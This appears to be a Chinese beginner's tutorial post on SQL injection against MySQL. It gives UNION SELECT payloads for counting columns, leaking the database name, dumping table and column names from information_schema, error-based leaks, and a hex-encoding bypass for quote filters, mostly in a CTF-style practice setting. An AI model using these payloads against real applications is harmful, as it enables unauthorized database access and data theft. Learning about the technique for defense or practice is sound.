zoukankan      html  css  js  c++  java
  • sql注入教学

    新手入坑sql注入,以下是笔记

    首先本人存在这么一个mysql数据库

    爆库

    方法一:

    先猜有几列

    select * from student where Sid =1 UNION SELECT 1,2,3,4

    数字依次增加,发现有四列,然后通过database()来爆表名

    select * from student where Sid =1 UNION SELECT DATABASE(),2,3,4

     方法二:

    通过构造一个不存在的函数a()

    select * from student where Sid =1-a()

    爆表

     【通过错误日志反馈得到】

    select * from student where Sid =1 and polygon(Sid)

    可以看到库名,表名都被爆出来了

    【通过查询得到】

    -1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

    爆字段

    【通过查询得到】

    -1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

    有些屏蔽了引号,可以用十六进制绕过,比如fl4g转成

    -1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#

  • 相关阅读:
    MVC 4 中 WEB API 选择 返回格式
    用XML配置菜单的一种思路,附一些不太准确的测试代码
    2020.11.15(每周总结)
    2020.11.19
    2020.11.22
    2020.11.21
    2020.11.14
    202.11.13
    2020.11.20
    2020.11.17
  • 原文地址:https://www.cnblogs.com/semishigure/p/8213627.html
Copyright © 2011-2022 走看看